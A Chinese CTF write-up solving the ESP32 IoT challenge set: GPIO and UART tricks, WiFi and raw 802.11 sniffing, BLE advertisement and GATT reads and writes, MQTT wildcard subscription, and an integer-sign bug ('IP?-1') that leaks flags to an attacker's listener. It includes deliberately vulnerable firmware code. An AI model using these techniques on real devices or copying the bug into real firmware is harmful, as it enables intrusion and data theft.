ESP32 IoT CTF 清华校赛版 简介 一个以ESP32为底座的新手向CTF IoT赛题,包括基本的硬件操作,串口调试,网络通信,WIFI,蓝牙,MQTT,固件提取等,总共13个flag。
环境搭建 硬件: esp32、杜邦线、usb->ttl、支持嗅探的无线网卡
软件 :
https://github.com/xuanxuanblingbling/esp32ctf_thu
ESP32 的 windows 烧录环境 ,直接链接下载离线安装包(一定要是离线安装包,否则安装很慢):
https://docs.espressif.com/projects/esp-idf/zh_CN/latest/esp32/get-started/windows-setup.html
选择赛题要求的对应版本就是,相近的也可以,赛题环境要求是4.3.1 ,我们选择提供下载的最低的4.4.8就行,太高了很容易出现不兼容的情况![image-20240715160313280](/picture/ESP32 IoT CTF 清华校赛版/image-20240715160313280.png)
完事之后出来了两个快捷方式
![img](/picture/ESP32 IoT CTF 清华校赛版/c7d39a45c4c42e590419931babefe0ac.png)
这俩用哪个都行,打开之后切换目录到源码的文件夹,cd esp32ctf_thu/thuctf/
输入命令:idf.py menuconfig,稍等片刻会打开一个新界面,设置 Serial flasher config 的 Flash size 为 4MB
![img](/picture/ESP32 IoT CTF 清华校赛版/0373f9d7f22218d4a79117e67ec95220.png)
设置 Partition Table 的 Partition Table 为 Custom partition table CSV
![img](/picture/ESP32 IoT CTF 清华校赛版/0429abad4f48f6998653d5c9a5461cf8.png)
选完之后 Q 保存退出,然后 idf.py build 编译代码
![img](/picture/ESP32 IoT CTF 清华校赛版/da553d27484aa3b9293bd53f108746dc.png)
等它编译一阵,完事之后就可以使用 idf.py flash 烧录了,出现 Connecting….. 的时候要摁住板子上的 BOOT 键
![img](/picture/ESP32 IoT CTF 清华校赛版/bcf5c3b631c87761d80f959e7f2ad5dc.png)
烧写完成之就可以关掉了,随便找个串口工具,选择波特率 115200 就能看到 log 了
![image-20240715160213945](/picture/ESP32 IoT CTF 清华校赛版/image-20240715160213945.png)
题目其实是在下面这个目录,烧录好之后拿着这个文件夹里的内容做题,里面有个 tar 包,是删掉了真实 flag 的源码,有些关卡需要分析源码才知道咋做,源码按照不同的题目方向分开了,很友好!
1 https://github.com/xuanxuanblingbling/esp32ctf_thu/tree/main/attachment
关卡介绍 有以下四个方向的题目,方向间题目并行,方向内题目采取闯关模式串行。但由于配置冲突,采用跳帽来切换题目方向:
跳帽连接GND与23号引脚:硬件、网络、蓝牙
拔掉GND与23号引脚跳帽:MQTT
硬件: task1: 将GPIO18抬高,持续3s即可获得flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 void hardware_task1 () { int hit = 0 ; while (1 ) { printf ("[+] hardware task I : hit %d\n" ,hit); if (gpio_get_level(GPIO_INPUT_IO_0)){ hit ++ ; }else { hit = 0 ; } if (hit>3 ){ printf ("[+] hardware task I : %s\n" ,hardware_flag_1); break ; } vTaskDelay(1000 / portTICK_RATE_MS); } }
需要抬高GPIO18,于是连接一个能持续输出电流的到GPIO18即可,直接连接电路板的P18到v5或者v3.3即可
1 2 3 4 5 [+] hardware task I : hit 0 [+] hardware task I : hit 1 [+] hardware task I : hit 2 [+] hardware task I : hit 3 [+] hardware task I : THUCTF{Ev3ryth1ng_st4rt_fr0m_GPIO_!!!}
task2: 在GPIO18处构造出1w个上升沿 1 2 3 4 5 6 7 8 9 10 11 void hardware_task2 () { trigger = 0 ; while (1 ){ printf ("[+] hardware task II : trigger %d\n" ,trigger); if (trigger > 10000 ){ printf ("[+] hardware task II : %s\n" ,hardware_flag_2); break ; } vTaskDelay(1000 / portTICK_RATE_MS); } }
在GPIO18处构造出1w个上升沿,也就是需要不断的信号传递,于是我们可以通过TX会不断发送信号来实现,连接P18和Tx
1 2 3 4 5 6 7 .... [+] hardware task II : trigger 9267 [+] hardware task II : trigger 9485 .... [+] hardware task II : trigger 9970 [+] hardware task II : trigger 10083 [+] hardware task II : THUCTF{AuT0++_is_th3_r1ght_w4y_hhhhhh}
task3: 在另一个串口处寻找第三个flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 #define ECHO_TEST_TXD (GPIO_NUM_4) #define ECHO_TEST_RXD (GPIO_NUM_5) #define ECHO_TEST_RTS (UART_PIN_NO_CHANGE) #define ECHO_TEST_CTS (UART_PIN_NO_CHANGE) void hardware_uart_setup () { uart_config_t uart_config = { .baud_rate = 115200 , .data_bits = UART_DATA_8_BITS, .parity = UART_PARITY_DISABLE, .stop_bits = UART_STOP_BITS_1, .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, .source_clk = UART_SCLK_APB, }; uart_driver_install(UART_NUM_1, 1024 * 2 , 0 , 0 , NULL , 0 ); uart_param_config(UART_NUM_1, &uart_config); uart_set_pin(UART_NUM_1, ECHO_TEST_TXD, ECHO_TEST_RXD, ECHO_TEST_RTS, ECHO_TEST_CTS); } void hardware_task3 () { printf ("[+] hardware task III : find the third flag in another UART\n" ); while (1 ) { uart_write_bytes(UART_NUM_1, hardware_flag_3, strlen (hardware_flag_3)); vTaskDelay(1000 / portTICK_RATE_MS); } }
代码里可以看出,给UART写了flag,于是我们读取UART即可,但是这里的UART用的端口为TX:4,RX:5,于是我们连接FT232板子的RX和ESP32板子的P4即可。
1 THUCTF{UART_15_v3ry_imp0r7ant_1n_i0T}
网络: task1: 连接板子目标端口,尝试获得flag 1 2 3 4 5 6 7 8 9 void network_init () { char ssid[0x10 ] = {0 }; char pass[0x10 ] = {0 }; get_random(ssid,6 ); get_random(pass,8 ); printf ("[+] network task I: I will connect a wifi -> ssid: %s , password %s \n" ,ssid,pass); connect_wifi(ssid,pass); }
发现板子在连接某个ssid的设备,密码也给了出来,我们只需要把手机的ssid和password改成对应的即可
1 [+] network task I: I will connect a wifi -> ssid: avqkqq , password pmaavapb
于是设置电脑的ssid为avqkqq,密码为pmaavapb
1 2 3 4 5 6 I (366707) esp_netif_handlers: sta ip: 192.168.137.109, mask: 255.255.255.0, gw: 192.168.137.1 I (366707) wifi connect: got ip:192.168.137.109 I (366707) wifi connect: connected to ap SSID:uptava I (366717) network: Socket created I (366717) network: Socket bound, port 3333 I (366727) network: Socket listening
成功连接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 static void network_tcp () { char addr_str[128 ]; struct sockaddr_in dest_addr ; dest_addr.sin_addr.s_addr = htonl(INADDR_ANY); dest_addr.sin_family = AF_INET; dest_addr.sin_port = htons(3333 ); int listen_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); ESP_LOGI(TAG, "Socket created" ); bind(listen_sock, (struct sockaddr *)&dest_addr, sizeof (dest_addr)); ESP_LOGI(TAG, "Socket bound, port %d" , 3333 ); listen(listen_sock, 1 ); while (1 ) { ESP_LOGI(TAG, "Socket listening" ); struct sockaddr_storage source_addr ; socklen_t addr_len = sizeof (source_addr); int sock = accept(listen_sock, (struct sockaddr *)&source_addr, &addr_len); inet_ntoa_r(((struct sockaddr_in *)&source_addr)->sin_addr, addr_str, sizeof (addr_str) - 1 ); ESP_LOGI(TAG, "Socket accepted ip address: %s" , addr_str); char buffer[100 ]; while (recv(sock,buffer,0x10 ,0 )){ if (strstr (buffer,"getflag" )){ send(sock, network_flag_1, strlen (network_flag_1), 0 ); break ; }else { send(sock, "error\n" , strlen ("error\n" ), 0 ); } vTaskDelay(1000 / portTICK_RATE_MS); } open_next_tasks = 1 ; shutdown(sock, 0 ); close(sock); } }
然后分析代码,发现开启了3333端口,接收到getlflag就打印flag
if(strstr(buffer,"getflag")){ 1 2 3 4 while (recv(sock,buffer,0x10 ,0 )){ if (strstr (buffer,"getflag" )){ send(sock, network_flag_1, strlen (network_flag_1), 0 ); break ;
于是直接nc 192.168.137.109 3333
,发送getflag即可
1 2 3 $ nc 192.168.137.109 3333 getflag THUCTF{M4k3_A_w1rele55_h0t5p0ts}
task2: 你知道他发给百度的flag么 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 void network_http () { char fmt[] = "GET / HTTP/1.0\r\n" "Host: www.baidu.com:80\r\n" "User-Agent: esp-idf/1.0 esp32\r\n" "flag: %s\r\n" "\r\n" ; char request[200 ]; sprintf (request,fmt,network_flag_2); const struct addrinfo hints = { .ai_family = AF_INET, .ai_socktype = SOCK_STREAM, }; struct addrinfo *res ; struct in_addr *addr ; int s; while (1 ) { if (open_next_tasks){ printf ("[+] network task II : send the second flag to baidu\n" ); getaddrinfo("www.baidu.com" , "80" , &hints, &res); addr = &((struct sockaddr_in *)res->ai_addr)->sin_addr; ESP_LOGI("network" , "DNS lookup succeeded. IP=%s" , inet_ntoa(*addr)); s = socket(res->ai_family, res->ai_socktype, 0 ); connect(s, res->ai_addr, res->ai_addrlen); freeaddrinfo(res); write(s, request, strlen (request)); close(s); } vTaskDelay(10000 / portTICK_PERIOD_MS); } }
改代码会构造数据包发送给百度,其中包含了flag,于是对热点抓包即可
![image-20240724174502143](/picture/ESP32 IoT CTF 清华校赛版/image-20240724174502143.png)
task3: flag在空中 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 static void network_wifi () { static const char ds2ds_pdu[] = { 0x48 , 0x03 , 0x00 , 0x00 , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xE8 , 0x65 , 0xD4 , 0xCB , 0x74 , 0x19 , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0xFF , 0x60 , 0x94 , 0xE8 , 0x65 , 0xD4 , 0xCB , 0x74 , 0x1C , 0x26 , 0xB9 , 0x0D , 0x02 , 0x7D , 0x13 , 0x00 , 0x00 , 0x01 , 0xE8 , 0x65 , 0xD4 , 0xCB , 0x74 , 0x1C , 0x00 , 0x00 , 0x26 , 0xB9 , 0x00 , 0x00 , 0x00 , 0x00 , }; char pdu[200 ]={0 }; memcpy (pdu,ds2ds_pdu,sizeof (ds2ds_pdu)); memcpy (pdu+sizeof (ds2ds_pdu),network_flag_3,sizeof (network_flag_3)); while (1 ) { if (open_next_tasks){ printf ("[+] network task III : send raw 802.11 package contains the third flag\n" ); esp_wifi_80211_tx(ESP_IF_WIFI_STA, pdu, sizeof (ds2ds_pdu)+sizeof (network_flag_3), true ); } vTaskDelay(5000 / portTICK_PERIOD_MS); } }
network_wifi
任务发送原始的 802.11 数据包,数据包中包含 network_flag_3
。
于是我们通过kali的airmon-ng 工具去抓包,抓取空中的数据包即可,需要设置为监听模式
1 2 airmon-ng start wlan0 airodump-ng wlan0mon
然后使用wireshark抓包,选择Wlan0mon网卡抓包
![image-20240725100108865](/picture/ESP32 IoT CTF 清华校赛版/image-20240725100108865.png)
这里我抓到了,但是没有flag不知道为什么,这里贴上其他师傅成功的案例
![image-20240725100157119](/picture/ESP32 IoT CTF 清华校赛版/image-20240725100157119.png)
蓝牙: task1: 修改蓝牙名称并设置可被发现即可获得flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 void bt_app_gap_start_up (void ) { get_random(target_name,8 ); printf ("[+] bluetooth task I : Please change your bluetooth device name to %s\n" ,target_name); esp_bt_controller_config_t bt_cfg = BT_CONTROLLER_INIT_CONFIG_DEFAULT(); esp_bt_controller_init(&bt_cfg); esp_bt_controller_enable(ESP_BT_MODE_BTDM); esp_bluedroid_init(); esp_bluedroid_enable(); esp_bt_dev_set_device_name("THUCTF" ); esp_bt_gap_set_scan_mode(ESP_BT_CONNECTABLE, ESP_BT_GENERAL_DISCOVERABLE); esp_bt_gap_register_callback(bt_app_gap_cb); esp_bt_gap_start_discovery(ESP_BT_INQ_MODE_GENERAL_INQUIRY, 0x10 , 0 ); } void bt_app_gap_cb (esp_bt_gap_cb_event_t event, esp_bt_gap_cb_param_t *param) { switch (event) { case ESP_BT_GAP_DISC_RES_EVT: update_device_info(param); break ; default : break ; } return ; } static void update_device_info (esp_bt_gap_cb_param_t *param) { char bda_str[18 ]; unsigned char device_name[256 ]; uint8_t device_name_len; esp_bt_gap_dev_prop_t *p; ESP_LOGI(GAP_TAG, "[+] bluetooth task I : Device found: %s" , bda2str(param->disc_res.bda, bda_str, 18 )); for (int i = 0 ; i < param->disc_res.num_prop; i++) { p = param->disc_res.prop + i; switch (p->type) { case ESP_BT_GAP_DEV_PROP_EIR: { get_name_from_eir(p->val, device_name, &device_name_len); check_name(target_name,(char *)device_name); ESP_LOGI(GAP_TAG, "[+] bluetooth task I : Found a target device, address %s, name %s" , bda_str, device_name); break ; } default : break ; } } } void check_name (char * a,char * b) { if (!strcmp (a,b)){ printf ("bluetooth task I : %s\n" ,bt_flag_1); esp_bt_gap_cancel_discovery(); scan = 0 ; next_task(); } }
分析一下代码在bt_app_gap_start_up中定义了蓝牙为双模块,并给定了一个随机的蓝牙名称,然后蓝牙设备名称为THUCTF
,遇到GAP事件的时候调用bt_app_gap_cb
函数,bt_app_gap_cb
函数定义了在遇到连接的时候调用update_device_info
函数。然后update_device_info
提取并打印设备地址,从设备的扩展查询响应(EIR)数据中提取设备名称。检查设备名称是否与目标名称匹配。如果匹配,则记录设备地址和名称。
1 [+] bluetooth task I : Please change your bluetooth device name to ijrtgfok
日志如上,于是我们只需要用设备名为ijrtgfok的蓝牙设备去连接即可
1 2 3 4 I (843854) GAP: [+] bluetooth task I : Device found: f8:ab:82:a1:bc:96 bluetooth task I : THUCTF{b1u3t00th_n4me_a1s0_c4n_b3_An_aTT4ck_surfAce} [+] bluetooth task II : BLE device name is fgwhg [+] bluetooth task II : Please find the second flag in the ADV package from this BLE device fgwhg
task2: flag在空中 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 void next_task () { unsigned char fmt[]= {0x06 ,0x09 ,0x68 ,0x65 ,0x6C ,0x6C ,0x6F , sizeof (bt_flag_2),0xFD }; char client_name[10 ]={}; get_random(client_name,5 ); printf ("[+] bluetooth task II : BLE device name is %s\n" ,client_name); printf ("[+] bluetooth task II : Please find the second flag in the ADV package from this BLE device %s\n" ,client_name); unsigned char data[100 ]; memcpy (data,fmt,sizeof (fmt)); memcpy (data+2 ,client_name,5 ); memcpy (data+sizeof (fmt),bt_flag_2,sizeof (bt_flag_2)); esp_ble_gap_config_adv_data_raw(data,sizeof (fmt)+sizeof (bt_flag_2)); esp_ble_gap_start_advertising(&ble_adv_params); esp_ble_gatts_register_callback(gatts_event_handler); esp_ble_gatts_app_register(PROFILE_A_APP_ID); esp_ble_gatt_set_local_mtu(500 ); }
可以看出来,将flag进行了广播,于是我们去抓包接受广播数据即可,查看一下名称
1 2 [+] bluetooth task II : BLE device name is fgwhg [+] bluetooth task II : Please find the second flag in the ADV package from this BLE device fgwhg
用hcitool检查一下,确实存在
1 2 3 4 5 6 7 ┌──(kali㉿kali)-[~/Desktop] └─$ sudo hcitool lescan LE Scan ... 78:EE:4C:01:D2:FE fgwhg 78:EE:4C:01:D2:FE (unknown) 78:EE:4C:01:D2:FE fgwhg 78:EE:4C:01:D2:FE (unknown)
然后使用nrf sniffer去嗅探即可
![image-20240725103318195](/picture/ESP32 IoT CTF 清华校赛版/image-20240725103318195.png)
task3: 分析GATT业务并获得flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 if (open_task3){ rsp.attr_value.len = sizeof (bt_flag_3); memcpy (rsp.attr_value.value,bt_flag_3,sizeof (bt_flag_3)); }else { rsp.attr_value.len = 4 ; rsp.attr_value.value[0 ] = 0xde ; rsp.attr_value.value[1 ] = 0xed ; rsp.attr_value.value[2 ] = 0xbe ; rsp.attr_value.value[3 ] = 0xef ; } esp_ble_gatts_send_response(gatts_if, param->read.conn_id, param->read.trans_id, ESP_GATT_OK, &rsp); case ESP_GATTS_WRITE_EVT: { ESP_LOGI(GATTS_TAG, "GATT_WRITE_EVT, conn_id %d, trans_id %d, handle %d" , param->write.conn_id, param->write.trans_id, param->write.handle); if (!param->write.is_prep){ ESP_LOGI(GATTS_TAG, "GATT_WRITE_EVT, value len %d, value :" , param->write.len); esp_log_buffer_hex(GATTS_TAG, param->write.value, param->write.len); printf ("[+] bluetooth task III : %s\n" ,param->write.value); if (!strncmp (bt_flag_2,(char *)param->write.value,param->write.len)){ printf ("[+] bluetooth task III : you can read the third flag this time\n" ); open_task3 = 1 ; } } esp_ble_gatts_send_response(gatts_if, param->write.conn_id, param->write.trans_id, ESP_GATT_OK, NULL ); break ; }
分析代码,当接收到写入事件时,记录连接 ID、事务 ID 和句柄。如果不是准备写入,记录写入数据长度和内容。如果写入数据与 bt_flag_2
匹配,则设置 open_task3
为真。发送响应给客户端,确认写入操作成功。然后成功开启task3后,直接读取就能读到flag,否则就是0xdeedbeef
于是直接使用gatttool
对服务进行写入读取即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 ┌──(kali㉿kali)-[~/Desktop] └─$ echo -n "THUCTF{AdVD47a}" | xxd -ps 5448554354467b416456443437617d ┌──(kali㉿kali)-[~/Desktop] └─$ gatttool -b 78:EE:4C:01:D2:FE -I [78:EE:4C:01:D2:FE][LE]> connect Attempting to connect to 78:EE:4C:01:D2:FE Connection successful [78:EE:4C:01:D2:FE][LE]> primary attr handle: 0x0001, end grp handle: 0x0005 uuid: 00001801-0000-1000-8000-00805f9b34fb attr handle: 0x0014, end grp handle: 0x001c uuid: 00001800-0000-1000-8000-00805f9b34fb attr handle: 0x0028, end grp handle: 0xffff uuid: 000000ff-0000-1000-8000-00805f9b34fb [78:EE:4C:01:D2:FE][LE]> characteristics 28 ffff handle: 0x0029, char properties: 0x1a, char value handle: 0x002a, uuid: 0000ff01-0000-1000-8000-00805f9b34fb [78:EE:4C:01:D2:FE][LE]> char-read-hnd 2a Characteristic value/descriptor: de ed be ef [78:EE:4C:01:D2:FE][LE]> char-write-req 2a 5448554354467b416456443437617d Characteristic value was written successfully [78:EE:4C:01:D2:FE][LE]> char-read-hnd 2a Characteristic value/descriptor: 54 48 55 43 54 46 7b 57 72 49 74 45 5f 34 5f 67 41 37 54 7d 00 ┌──(kali㉿kali)-[~/Desktop] └─$ echo -n "54 48 55 43 54 46 7b 57 72 49 74 45 5f 34 5f 67 41 37 54 7d 00 " | xxd -p -r THUCTF{WrItE_4_gA7T}
MQTT: 这里有些问题,你需要在自己的服务器 上拉起来一个 Docker ,然后别忘了把服务器的防火墙打开 1883 端口,再运行命令把 Docker 启动起来
1 2 docker build -t esp32ctf . docker run -d -p 1883 :1883 esp32ctf
修改 main.c 中的源码,把原本的域名 改为你的服务器 IP,重新编译好烧到 esp32 中,例如:
1 2 3 4 把 mqtt_app_start ("mqtt://mqtt.esp32ctf.xyz" );改为 mqtt_app_start ("mqtt://192.168.50.132" );
然后需要开一个热点名称:THUCTFIOT;密码:mqttwifi@123。设备连接上之后 esp32 会连接我们搭建的 MQTT broker
task1: 你知道MQTT的上帝是谁么 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 static esp_err_t mqtt_event_handler_cb (esp_mqtt_event_handle_t event) { esp_mqtt_client_handle_t client = event->client; int msg_id; switch (event->event_id) { case MQTT_EVENT_CONNECTED: ESP_LOGI("mqtt" , "MQTT_EVENT_CONNECTED" ); msg_id = esp_mqtt_client_publish(client, "/topic/flag1" , mqtt_flag_1, 0 , 1 , 0 ); printf ("[+] MQTT task I: publish successful, msg_id=%d\n" , msg_id); msg_id = esp_mqtt_client_subscribe(client, topic_2, 0 ); printf ("[+] MQTT task II: subscribe successful, msg_id=%d\n" , msg_id); break ; case MQTT_EVENT_DISCONNECTED: ESP_LOGI("mqtt" , "MQTT_EVENT_DISCONNECTED" ); break ; case MQTT_EVENT_SUBSCRIBED: ESP_LOGI("mqtt" , "MQTT_EVENT_SUBSCRIBED, msg_id=%d" , event->msg_id); break ; case MQTT_EVENT_UNSUBSCRIBED: ESP_LOGI("mqtt" , "MQTT_EVENT_UNSUBSCRIBED, msg_id=%d" , event->msg_id); break ; case MQTT_EVENT_PUBLISHED: ESP_LOGI("mqtt" , "MQTT_EVENT_PUBLISHED, msg_id=%d" , event->msg_id); break ; case MQTT_EVENT_DATA: ESP_LOGI("mqtt" , "MQTT_EVENT_DATA" ); printf ("[+] MQTT task II: topic -> %.*s\r\n" , event->topic_len, event->topic); printf ("[+] MQTT task II: data -> %.*s\r\n" , event->data_len, event->data); mqtt_data_hander(event->data_len,event->data); break ; case MQTT_EVENT_ERROR: ESP_LOGI("mqtt" , "MQTT_EVENT_ERROR" ); break ; default : ESP_LOGI("mqtt" , "Other event id:%d" , event->event_id); break ; } return ESP_OK; }
解释一下该代码
处理 MQTT 连接事件 :
当客户端连接到 MQTT 服务器时,发布一个消息到主题 /topic/flag1
并订阅一个主题 topic_2
。这里发送的消息就是flag
处理 MQTT 断开连接事件 :
当客户端断开与 MQTT 服务器的连接时,记录日志。
处理 MQTT 订阅事件 :
处理 MQTT 取消订阅事件 :
处理 MQTT 消息发布事件 :
处理 MQTT 数据事件 :
当客户端接收到一个消息时,打印消息的主题和数据,并调用 mqtt_data_hander
函数处理接收到的数据。
处理 MQTT 错误事件 :
于是使用MQTTX订阅 #,MQTT 中有通配符 # 表示所有的主题,只需要订阅 # 就会收到所有的主题的消息。
![image-20240725114358080](/picture/ESP32 IoT CTF 清华校赛版/image-20240725114358080.png)
task2: 你能欺骗订阅者么 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 while (1 ){ printf ("[+] MQTT task II: I send second flag to baidu\n" ); esp_mqtt_client_publish(client, topic_2, "www.baidu.com?46" , 0 , 1 , 0 ); vTaskDelay(10000 / portTICK_RATE_MS); } case MQTT_EVENT_DATA: ESP_LOGI("mqtt" , "MQTT_EVENT_DATA" ); printf ("[+] MQTT task II: topic -> %.*s\r\n" , event->topic_len, event->topic); printf ("[+] MQTT task II: data -> %.*s\r\n" , event->data_len, event->data); mqtt_data_hander(event->data_len,event->data); void mqtt_data_hander (int length,char * data) { char l[10 ]; char url[500 ] = {0 }; char out[500 ] = {0 }; char httpdata[500 ]={0 }; char flagdata[500 ]={0 }; char tag3[] = " [+] MQTT task III: " ; sprintf (flagdata,"%s%s%s" ,mqtt_flag_2,tag3,mqtt_flag_3); int a = 46 ; char * p = strnstr(data,"?" ,length); if (p){ int data_length = p - data; snprintf (l,length - data_length,"%s" ,p+1 ); a = atoi(l); length = data_length; } sprintf (url,"%.*s" ,length, data); char fmt[] = "GET / HTTP/1.0\r\n" "User-Agent: esp-idf/1.0 esp32\r\n" "flag: %s\r\n" "\r\n" ; if ( a < (int )(sizeof (mqtt_flag_2) + sizeof (tag3) - 1 ) ){ memcpy (out,flagdata,a & 0xff ); sprintf (httpdata,fmt,out); http_get_task(url,httpdata); } }
1 2 3 4 5 [+] MQTT task II: topic -> /topic/flag2/bbxclx [+] MQTT task II: data -> www.baidu.com?46 I (2325184) network: DNS lookup succeeded. IP=183.2.172.185 I (2325184) network: ... allocated socket I (2325234) network: ... connected
分析一下再结合一下UART的输出,可以知道该功能是接受到一个来自/topic/flag2/bbxclx的数据的时候,往一个IP发送flag2,于是我们往/topic/flag2/bbxclx发送IP即可,并且发送长度默认是46,所以直接IP
就行,IP?50
之类的数据也可以。
![image-20240725122629690](/picture/ESP32 IoT CTF 清华校赛版/image-20240725122629690.png)
1 2 3 4 5 6 7 8 9 10 [+] MQTT task II: topic -> /topic/flag2/bbxclx [+] MQTT task II: data -> 192.168.137.1?46 I (2566134) network: DNS lookup succeeded. IP=192.168.137.1 I (2566144) network: ... allocated socket I (2566154) network: ... connected C:\Users\coke>nc -l -p 80 GET / HTTP/1.0 User-Agent: esp-idf/1.0 esp32 flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel}
成功获得了flag
task3: 这是个内存破坏的前戏 1 2 3 4 5 if ( a < (int )(sizeof (mqtt_flag_2) + sizeof (tag3) - 1 ) ){ memcpy (out,flagdata,a & 0xff ); sprintf (httpdata,fmt,out); http_get_task(url,httpdata); }
其实前面在发送flag2的时候flag3也一起包裹进去的,于是只需要我们将长度给变得够大即可,但是还得小于flag2的长度加上tag3的长度,但是发现a是一个有符号的数,于是我们可以用整数溢出,发送IP?-1
即可
1 2 3 4 5 6 7 8 9 10 [+] MQTT task II: topic -> /topic/flag2/bbxclx [+] MQTT task II: data -> 192.168.137.1?-1 I (3041804) network: DNS lookup succeeded. IP=192.168.137.1 I (3041804) network: ... allocated socket I (3041814) network: ... connected C:\Users\coke>nc -l -p 80 GET / HTTP/1.0 User-Agent: esp-idf/1.0 esp32 flag: THUCTF{attAck_t0_th3_dev1ce_tcp_r3cV_ch4nnel} [+] MQTT task III: THUCTF{0ver_the_Air_y0u_c4n_a77ack_t0_1ntranet_d3v1ce}
彩蛋 1 xTaskCreate(hardware, "flag{you_will_never_kown_this_flag}" , 2048 , NULL , 10 , NULL );
显然此任务名没有与任何题目接口有交互,所以只能采用固件读取的方式获得此flag,故使用esptools.py dump固件:
1 2 ➜ python ~/Desktop/esp/esp-idf2/components/esptool_py/esptool/esptool.py \ --baud 115200 --port COM5 -14420 read_flash 0x10000 0x310000 dump.bin
windows上的IDF离线环境安装后,自动设置的环境变量中,也是可以直接用esptools.py的:
1 > esptool.py --baud 115200 read_flash 0x10000 0x310000 dump.bin
然后strings即可找出flag:
1 2 $ strings ./dump.bin | grep "THUCTF{" THUCTF{DuMp_the_b1n_by_espt00l.py_Ju5t_1n_0ne_Lin3}